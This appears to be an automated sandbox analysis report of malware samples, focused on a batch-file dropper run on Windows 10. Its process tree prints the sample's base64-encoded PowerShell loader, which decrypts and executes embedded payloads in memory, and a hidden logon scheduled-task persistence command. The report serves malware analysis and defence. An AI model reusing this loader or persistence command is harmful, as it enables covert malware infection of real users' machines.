Overview
overview
10Static
static
100490e8427a...c7.elf
ubuntu-18.04-amd64
0490e8427a...c7.elf
debian-9-armhf
0490e8427a...c7.elf
debian-9-mips
0490e8427a...c7.elf
debian-9-mipsel
068428a4ac...26.exe
windows7-x64
1068428a4ac...26.exe
windows10-2004-x64
8087421ac22...94.elf
debian-9-mipsel
100c4791a6b4...ea.elf
debian-12-armhf
10d9bd2ae2e...ea.exe
windows7-x64
70d9bd2ae2e...ea.exe
windows10-2004-x64
70fa00d4f4f...70.dll
windows7-x64
10fa00d4f4f...70.dll
windows10-2004-x64
110de02fec8...d1.bat
windows7-x64
110de02fec8...d1.bat
windows10-2004-x64
81157191701...32.exe
windows7-x64
71157191701...32.exe
windows10-2004-x64
1016e81343ec...a5.exe
windows7-x64
716e81343ec...a5.exe
windows10-2004-x64
717691f0962...b7.elf
debian-12-mipsel
617c24104e8...12.exe
windows7-x64
317c24104e8...12.exe
windows10-2004-x64
31816cd993d...28.exe
windows7-x64
71816cd993d...28.exe
windows10-2004-x64
71b8cda768b...8a.elf
debian-12-armhf
11df6acbc11...b7.elf
ubuntu-18.04-amd64
1df6acbc11...b7.elf
debian-9-armhf
1df6acbc11...b7.elf
debian-9-mips
1df6acbc11...b7.elf
debian-9-mipsel
1e7706ed04...b0.elf
ubuntu-18.04-amd64
1e7706ed04...b0.elf
debian-9-armhf
1e7706ed04...b0.elf
debian-9-mips
1e7706ed04...b0.elf
debian-9-mipsel
Resubmissions
22-04-2024 22:02
240422-1xtwbagh68 1022-04-2024 19:25
240422-x42b7afa68 1019-04-2024 03:02
240419-djmthsfh8w 10Analysis
-
max time kernel
152s -
max time network
197s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
22-04-2024 22:02
Static task
static1
Behavioral task
behavioral1
Sample
0490e8427ac66951389e11dbd990c19cb1ee43102c33935b12db6a4eca7717c7.elf
Resource
ubuntu1804-amd64-20240226-en
Behavioral task
behavioral2
Sample
0490e8427ac66951389e11dbd990c19cb1ee43102c33935b12db6a4eca7717c7.elf
Resource
debian9-armhf-20240226-en
Behavioral task
behavioral3
Sample
0490e8427ac66951389e11dbd990c19cb1ee43102c33935b12db6a4eca7717c7.elf
Resource
debian9-mipsbe-20240226-en
Behavioral task
behavioral4
Sample
0490e8427ac66951389e11dbd990c19cb1ee43102c33935b12db6a4eca7717c7.elf
Resource
debian9-mipsel-20240226-en
Behavioral task
behavioral5
Sample
068428a4acb65807251b3b4c0aee2101519fdaebf6db5376863da5add3471f26.exe
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
068428a4acb65807251b3b4c0aee2101519fdaebf6db5376863da5add3471f26.exe
Resource
win10v2004-20240412-en
Behavioral task
behavioral7
Sample
087421ac222e935579dfd3b7a5120451fd9d9a663d3d1872c04b6154b238c894.elf
Resource
debian9-mipsel-20240226-en
Behavioral task
behavioral8
Sample
0c4791a6b47491a0c43cea0ba54357e391a3c8b23aa28025489bbe43bb9ea6ea.elf
Resource
debian12-armhf-20240221-en
Behavioral task
behavioral9
Sample
0d9bd2ae2e4b023047b6c08684e9e5daae76e31cced4c3fdf4640136245f7eea.exe
Resource
win7-20240221-en
Behavioral task
behavioral10
Sample
0d9bd2ae2e4b023047b6c08684e9e5daae76e31cced4c3fdf4640136245f7eea.exe
Resource
win10v2004-20240412-en
Behavioral task
behavioral11
Sample
0fa00d4f4f8e8449883aef7f0459a0fb754d57d55af2b41f5e445f867000fa70.dll
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
0fa00d4f4f8e8449883aef7f0459a0fb754d57d55af2b41f5e445f867000fa70.dll
Resource
win10v2004-20240412-en
Behavioral task
behavioral13
Sample
10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat
Resource
win7-20240221-en
Behavioral task
behavioral14
Sample
10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat
Resource
win10v2004-20240226-en
Behavioral task
behavioral15
Sample
11571917015adbf3b5196509e1082c8d415f011cce88bd8b16e9d9c5a39ac432.exe
Resource
win7-20240221-en
Behavioral task
behavioral16
Sample
11571917015adbf3b5196509e1082c8d415f011cce88bd8b16e9d9c5a39ac432.exe
Resource
win10v2004-20240412-en
Behavioral task
behavioral17
Sample
16e81343ecea6082d76bf1ab26818c3bf56929c92468fae8837c6384b62d05a5.exe
Resource
win7-20231129-en
Behavioral task
behavioral18
Sample
16e81343ecea6082d76bf1ab26818c3bf56929c92468fae8837c6384b62d05a5.exe
Resource
win10v2004-20240412-en
Behavioral task
behavioral19
Sample
17691f0962027e7110f727ae997f8af5885dd783674d1db023d467ec478515b7.elf
Resource
debian12-mipsel-20240221-en
Behavioral task
behavioral20
Sample
17c24104e8e5350eeb7e2a162dec3f6a4d6c70f3f0849e6346fd383d998dcc12.exe
Resource
win7-20240221-en
Behavioral task
behavioral21
Sample
17c24104e8e5350eeb7e2a162dec3f6a4d6c70f3f0849e6346fd383d998dcc12.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral22
Sample
1816cd993ddda970b791b090e6ecb501ef923bdcc0cc5f4a99e18dcdb7093228.exe
Resource
win7-20240221-en
Behavioral task
behavioral23
Sample
1816cd993ddda970b791b090e6ecb501ef923bdcc0cc5f4a99e18dcdb7093228.exe
Resource
win10v2004-20240412-en
Behavioral task
behavioral24
Sample
1b8cda768ba75d723b2b0b34cf955f7ec9469b4e33c6fde6494eefd60a139d8a.elf
Resource
debian12-armhf-20240221-en
Behavioral task
behavioral25
Sample
1df6acbc1106e17265fde3ab54b2a83fa8f6f39656d7c55481b2dbd66f1114b7.elf
Resource
ubuntu1804-amd64-20240226-en
Behavioral task
behavioral26
Sample
1df6acbc1106e17265fde3ab54b2a83fa8f6f39656d7c55481b2dbd66f1114b7.elf
Resource
debian9-armhf-20240226-en
Behavioral task
behavioral27
Sample
1df6acbc1106e17265fde3ab54b2a83fa8f6f39656d7c55481b2dbd66f1114b7.elf
Resource
debian9-mipsbe-20240226-en
Behavioral task
behavioral28
Sample
1df6acbc1106e17265fde3ab54b2a83fa8f6f39656d7c55481b2dbd66f1114b7.elf
Resource
debian9-mipsel-20240226-en
Behavioral task
behavioral29
Sample
1e7706ed0492572474cd866f13778cc66c42b614b3d0b1d9af35727c051a50b0.elf
Resource
ubuntu1804-amd64-20240226-en
Behavioral task
behavioral30
Sample
1e7706ed0492572474cd866f13778cc66c42b614b3d0b1d9af35727c051a50b0.elf
Resource
debian9-armhf-20240226-en
Behavioral task
behavioral31
Sample
1e7706ed0492572474cd866f13778cc66c42b614b3d0b1d9af35727c051a50b0.elf
Resource
debian9-mipsbe-20240226-en
Behavioral task
behavioral32
Sample
1e7706ed0492572474cd866f13778cc66c42b614b3d0b1d9af35727c051a50b0.elf
Resource
debian9-mipsel-20240226-en
General
-
Target
10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat
-
Size
1.1MB
-
MD5
4030841f8cd4b3ac37ab0a0b9332f3a5
-
SHA1
6d05584de372399fbadd59a1e6a1eefee90f8725
-
SHA256
10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1
-
SHA512
a8c40c3fa3f7f9ba47eed94a55a2562719073fd568d4aa96a081a46ce150e0b068b453e812eaef3fe15cafae3b66127e23ed4d72669173c8c254ba58d32534c0
-
SSDEEP
24576:+NAwcGqisVN8rXpLOnM+YCftp99Jj9Pgxp1QrKDI:+NKVVsxmt9j
Malware Config
Signatures
-
Blocklisted process makes network request 11 IoCs
Processes:
powershell.exeflow pid process 54 788 powershell.exe 54 788 powershell.exe 54 788 powershell.exe 54 788 powershell.exe 54 788 powershell.exe 54 788 powershell.exe 54 788 powershell.exe 54 788 powershell.exe 54 788 powershell.exe 54 788 powershell.exe 54 788 powershell.exe -
Suspicious behavior: EnumeratesProcesses 22 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 32 powershell.exe 32 powershell.exe 2168 powershell.exe 2168 powershell.exe 4444 powershell.exe 4444 powershell.exe 4444 powershell.exe 560 powershell.exe 560 powershell.exe 560 powershell.exe 788 powershell.exe 788 powershell.exe 788 powershell.exe 2600 powershell.exe 2600 powershell.exe 2600 powershell.exe 4004 powershell.exe 4004 powershell.exe 4004 powershell.exe 1616 powershell.exe 1616 powershell.exe 1616 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 32 powershell.exe Token: SeDebugPrivilege 2168 powershell.exe Token: SeDebugPrivilege 4444 powershell.exe Token: SeIncreaseQuotaPrivilege 4444 powershell.exe Token: SeSecurityPrivilege 4444 powershell.exe Token: SeTakeOwnershipPrivilege 4444 powershell.exe Token: SeLoadDriverPrivilege 4444 powershell.exe Token: SeSystemProfilePrivilege 4444 powershell.exe Token: SeSystemtimePrivilege 4444 powershell.exe Token: SeProfSingleProcessPrivilege 4444 powershell.exe Token: SeIncBasePriorityPrivilege 4444 powershell.exe Token: SeCreatePagefilePrivilege 4444 powershell.exe Token: SeBackupPrivilege 4444 powershell.exe Token: SeRestorePrivilege 4444 powershell.exe Token: SeShutdownPrivilege 4444 powershell.exe Token: SeDebugPrivilege 4444 powershell.exe Token: SeSystemEnvironmentPrivilege 4444 powershell.exe Token: SeRemoteShutdownPrivilege 4444 powershell.exe Token: SeUndockPrivilege 4444 powershell.exe Token: SeManageVolumePrivilege 4444 powershell.exe Token: 33 4444 powershell.exe Token: 34 4444 powershell.exe Token: 35 4444 powershell.exe Token: 36 4444 powershell.exe Token: SeDebugPrivilege 560 powershell.exe Token: SeIncreaseQuotaPrivilege 560 powershell.exe Token: SeSecurityPrivilege 560 powershell.exe Token: SeTakeOwnershipPrivilege 560 powershell.exe Token: SeLoadDriverPrivilege 560 powershell.exe Token: SeSystemProfilePrivilege 560 powershell.exe Token: SeSystemtimePrivilege 560 powershell.exe Token: SeProfSingleProcessPrivilege 560 powershell.exe Token: SeIncBasePriorityPrivilege 560 powershell.exe Token: SeCreatePagefilePrivilege 560 powershell.exe Token: SeBackupPrivilege 560 powershell.exe Token: SeRestorePrivilege 560 powershell.exe Token: SeShutdownPrivilege 560 powershell.exe Token: SeDebugPrivilege 560 powershell.exe Token: SeSystemEnvironmentPrivilege 560 powershell.exe Token: SeRemoteShutdownPrivilege 560 powershell.exe Token: SeUndockPrivilege 560 powershell.exe Token: SeManageVolumePrivilege 560 powershell.exe Token: 33 560 powershell.exe Token: 34 560 powershell.exe Token: 35 560 powershell.exe Token: 36 560 powershell.exe Token: SeIncreaseQuotaPrivilege 560 powershell.exe Token: SeSecurityPrivilege 560 powershell.exe Token: SeTakeOwnershipPrivilege 560 powershell.exe Token: SeLoadDriverPrivilege 560 powershell.exe Token: SeSystemProfilePrivilege 560 powershell.exe Token: SeSystemtimePrivilege 560 powershell.exe Token: SeProfSingleProcessPrivilege 560 powershell.exe Token: SeIncBasePriorityPrivilege 560 powershell.exe Token: SeCreatePagefilePrivilege 560 powershell.exe Token: SeBackupPrivilege 560 powershell.exe Token: SeRestorePrivilege 560 powershell.exe Token: SeShutdownPrivilege 560 powershell.exe Token: SeDebugPrivilege 560 powershell.exe Token: SeSystemEnvironmentPrivilege 560 powershell.exe Token: SeRemoteShutdownPrivilege 560 powershell.exe Token: SeUndockPrivilege 560 powershell.exe Token: SeManageVolumePrivilege 560 powershell.exe Token: 33 560 powershell.exe -
Suspicious use of WriteProcessMemory 32 IoCs
Processes:
cmd.execmd.exepowershell.execmd.execmd.exepowershell.exedescription pid process target process PID 1676 wrote to memory of 3156 1676 cmd.exe cmd.exe PID 1676 wrote to memory of 3156 1676 cmd.exe cmd.exe PID 1676 wrote to memory of 2724 1676 cmd.exe cmd.exe PID 1676 wrote to memory of 2724 1676 cmd.exe cmd.exe PID 2724 wrote to memory of 3388 2724 cmd.exe cmd.exe PID 2724 wrote to memory of 3388 2724 cmd.exe cmd.exe PID 2724 wrote to memory of 2520 2724 cmd.exe cmd.exe PID 2724 wrote to memory of 2520 2724 cmd.exe cmd.exe PID 2724 wrote to memory of 32 2724 cmd.exe powershell.exe PID 2724 wrote to memory of 32 2724 cmd.exe powershell.exe PID 32 wrote to memory of 2168 32 powershell.exe powershell.exe PID 32 wrote to memory of 2168 32 powershell.exe powershell.exe PID 32 wrote to memory of 4444 32 powershell.exe powershell.exe PID 32 wrote to memory of 4444 32 powershell.exe powershell.exe PID 32 wrote to memory of 560 32 powershell.exe powershell.exe PID 32 wrote to memory of 560 32 powershell.exe powershell.exe PID 32 wrote to memory of 4268 32 powershell.exe cmd.exe PID 32 wrote to memory of 4268 32 powershell.exe cmd.exe PID 4268 wrote to memory of 2644 4268 cmd.exe cmd.exe PID 4268 wrote to memory of 2644 4268 cmd.exe cmd.exe PID 2644 wrote to memory of 408 2644 cmd.exe cmd.exe PID 2644 wrote to memory of 408 2644 cmd.exe cmd.exe PID 2644 wrote to memory of 3880 2644 cmd.exe cmd.exe PID 2644 wrote to memory of 3880 2644 cmd.exe cmd.exe PID 2644 wrote to memory of 788 2644 cmd.exe powershell.exe PID 2644 wrote to memory of 788 2644 cmd.exe powershell.exe PID 788 wrote to memory of 2600 788 powershell.exe powershell.exe PID 788 wrote to memory of 2600 788 powershell.exe powershell.exe PID 788 wrote to memory of 4004 788 powershell.exe powershell.exe PID 788 wrote to memory of 4004 788 powershell.exe powershell.exe PID 788 wrote to memory of 1616 788 powershell.exe powershell.exe PID 788 wrote to memory of 1616 788 powershell.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1676 -
C:\Windows\system32\cmd.execmd /c \"set __=^&rem\2⤵PID:3156
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat2⤵
- Suspicious use of WriteProcessMemory
PID:2724 -
C:\Windows\system32\cmd.execmd /c \"set __=^&rem\3⤵PID:3388
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat';iex ([Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24ga1JGT2soJERNSmFHKXskUXpwdGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JFF6cHRlLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzskUXpwdGUuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OyRRenB0ZS5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnRjB3NXFsREI3QUlVTmtQVG5CWTBQeUVod2ppZzM0Zm1wb3I5S2ZqeWtvYz0nKTskUXpwdGUuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnZHJXWWdZV3ptMEhxQjA1ZHpyck1Ddz09Jyk7JGRHR2VBPSRRenB0ZS5DcmVhdGVEZWNyeXB0b3IoKTskT2tGeWU9JGRHR2VBLlRyYW5zZm9ybUZpbmFsQmxvY2soJERNSmFHLDAsJERNSmFHLkxlbmd0aCk7JGRHR2VBLkRpc3Bvc2UoKTskUXpwdGUuRGlzcG9zZSgpOyRPa0Z5ZTt9ZnVuY3Rpb24gbEZOSHYoJERNSmFHKXskUHZ3WXc9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCwkRE1KYUcpOyRiYW9EZD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JGxYcUJ3PU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJFB2d1l3LFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskbFhxQncuQ29weVRvKCRiYW9EZCk7JGxYcUJ3LkRpc3Bvc2UoKTskUHZ3WXcuRGlzcG9zZSgpOyRiYW9EZC5EaXNwb3NlKCk7JGJhb0RkLlRvQXJyYXkoKTt9JHJydUhvPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskeGJuQW09bEZOSHYgKGtSRk9rIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJHJydUhvLCA1KS5TdWJzdHJpbmcoMikpKSk7JE9NU3hJPWxGTkh2IChrUkZPayAoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFtTeXN0ZW0uTGlucS5FbnVtZXJhYmxlXTo6RWxlbWVudEF0KCRycnVIbywgNikuU3Vic3RyaW5nKDIpKSkpO1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kT01TeEkpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJHhibkFtKS5FbnRyeVBvaW50Lkludm9rZSgkbnVsbCwkbnVsbCk7'))) "3⤵PID:2520
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:32 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2168 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1')4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4444 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 96746' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\strt.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:560 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\strt.cmd"4⤵
- Suspicious use of WriteProcessMemory
PID:4268 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\strt.cmd"5⤵
- Suspicious use of WriteProcessMemory
PID:2644 -
C:\Windows\system32\cmd.execmd /c \"set __=^&rem\6⤵PID:408
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\strt.cmd';iex ([Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24ga1JGT2soJERNSmFHKXskUXpwdGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JFF6cHRlLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzskUXpwdGUuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OyRRenB0ZS5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnRjB3NXFsREI3QUlVTmtQVG5CWTBQeUVod2ppZzM0Zm1wb3I5S2ZqeWtvYz0nKTskUXpwdGUuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnZHJXWWdZV3ptMEhxQjA1ZHpyck1Ddz09Jyk7JGRHR2VBPSRRenB0ZS5DcmVhdGVEZWNyeXB0b3IoKTskT2tGeWU9JGRHR2VBLlRyYW5zZm9ybUZpbmFsQmxvY2soJERNSmFHLDAsJERNSmFHLkxlbmd0aCk7JGRHR2VBLkRpc3Bvc2UoKTskUXpwdGUuRGlzcG9zZSgpOyRPa0Z5ZTt9ZnVuY3Rpb24gbEZOSHYoJERNSmFHKXskUHZ3WXc9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCwkRE1KYUcpOyRiYW9EZD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JGxYcUJ3PU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJFB2d1l3LFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskbFhxQncuQ29weVRvKCRiYW9EZCk7JGxYcUJ3LkRpc3Bvc2UoKTskUHZ3WXcuRGlzcG9zZSgpOyRiYW9EZC5EaXNwb3NlKCk7JGJhb0RkLlRvQXJyYXkoKTt9JHJydUhvPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskeGJuQW09bEZOSHYgKGtSRk9rIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJHJydUhvLCA1KS5TdWJzdHJpbmcoMikpKSk7JE9NU3hJPWxGTkh2IChrUkZPayAoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFtTeXN0ZW0uTGlucS5FbnVtZXJhYmxlXTo6RWxlbWVudEF0KCRycnVIbywgNikuU3Vic3RyaW5nKDIpKSkpO1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kT01TeEkpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJHhibkFtKS5FbnRyeVBvaW50Lkludm9rZSgkbnVsbCwkbnVsbCk7'))) "6⤵PID:3880
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:788 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden7⤵
- Suspicious behavior: EnumeratesProcesses
PID:2600 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\strt')7⤵
- Suspicious behavior: EnumeratesProcesses
PID:4004 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 96746' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\strt.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force7⤵
- Suspicious behavior: EnumeratesProcesses
PID:1616
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3692 --field-trial-handle=3192,i,2785050981002401924,4037047756083432660,262144 --variations-seed-version /prefetch:81⤵PID:1656
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD53f01549ee3e4c18244797530b588dad9
SHA13e87863fc06995fe4b741357c68931221d6cc0b9
SHA25636b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a
SHA51273843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50
-
Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
-
Filesize
3KB
MD52d1de0141861c4d15f5dc0630d1b8c94
SHA1523a8ce3c9a1d5058f77cda094ffd171ff3e4ab8
SHA25694738f7eb08a96b49fb7c51091083b9401b99e4db6458625bd3f1f6c65838c36
SHA512354f89f30f47d909c953d0451d8f1f850f585cd8580241c46d62fbdd3089ddbe3775fe7e531abb9a766683477a32116a52bffe0aa8f7b1d443edfa8baf592498
-
Filesize
1KB
MD5f5757a4861737c7d99e3ae930ff8641a
SHA1bb6a31b58a1744e8205df4b1e1c3f040b0b76a8c
SHA2562762ba768f272e9f8beea28e01e4253151148b0cdd6968d189bf67544e17b219
SHA512ab9848d8e7bb736000da80f66f14db3eca0cec699fd21ceb67d855a72ec8356e9c06e638d139f3f3a74e9af71d9414e990a78fd8d345a17156ac49c17662f585
-
Filesize
1KB
MD5430313cf7b0d23dfdc746fc7226ce76e
SHA14e20cdd9f7f570f2e2aa83d40cc3c76f7514c303
SHA256e02345702cdcaf1b20d65837e4cbe280135167758504343e334a5b2492c93f07
SHA512e3fde1853fbf45c8a82eb697acc52f9d09e3d891d6e58bdd3b44ceea23979d3c86ee877d9d5ac1c87a01ef8d214b0d6a06cdd1f950e6ccc8f31c8f52f8fdc42a
-
Filesize
1KB
MD5cc2ce575753731574bf10ff6e5162032
SHA1b660e5156f97af770e5d359fdd2a6ea697f359fb
SHA256c0c37fd6fb26d101e347a1e9b5190029bb591d8c57392dbf2df4741b11fc2dfa
SHA512715bb49c3977d51ff39b0458b99c5e3ba786e3110a4015402cd023b484ff385704475238fb813d074524d76bc733b0d4e92b57b64d187b3d6a664e4f38eebc1b
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1.1MB
MD54030841f8cd4b3ac37ab0a0b9332f3a5
SHA16d05584de372399fbadd59a1e6a1eefee90f8725
SHA25610de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1
SHA512a8c40c3fa3f7f9ba47eed94a55a2562719073fd568d4aa96a081a46ce150e0b068b453e812eaef3fe15cafae3b66127e23ed4d72669173c8c254ba58d32534c0